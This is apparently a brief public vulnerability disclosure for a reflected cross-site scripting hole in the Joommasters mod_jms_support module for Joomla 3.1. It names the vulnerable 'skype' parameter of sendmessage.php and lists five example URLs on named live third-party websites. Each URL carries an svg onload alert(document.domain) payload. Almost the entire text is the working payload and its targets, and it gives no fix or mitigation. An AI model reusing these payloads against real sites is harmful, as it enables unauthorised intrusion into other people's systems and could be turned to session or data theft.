Twitter: @SonnySpooks Developers: Joommasters App Version: 2.0 Joomla Version: Joomla 3.1 Vuln: sendmessage.php?type=skype&user=<HERE>&skype=<HERE> Example List \/ Example 1: https://www.webgobe.com/modules/mod_jms_support/sendmessage.php?type=skype&user=User&skype=%3Csvg/onload=alert(document.domain)%3E Example 2: https://www.ngocminhstone.com/ngocminhstone/vn/modules/mod_jms_support/sendmessage.php?type=skype&user=User&skype=<svg/onload=alert(document.domain)> Example 3: https://www.morfey-logistics.com/modules/mod_jms_support/sendmessage.php?type=skype&user=User&skype=<svg/onload=alert(document.domain)> Example 4: https://www.e-911.ru/modules/mod_jms_support/sendmessage.php?type=skype&user=User&skype=<svg/onload=alert(document.domain)> Example 5: https://www.hfy.eu.com/modules/mod_jms_support/sendmessage.php?type=skype&user=User&skype=<svg/onload=alert(document.domain)> Example End /\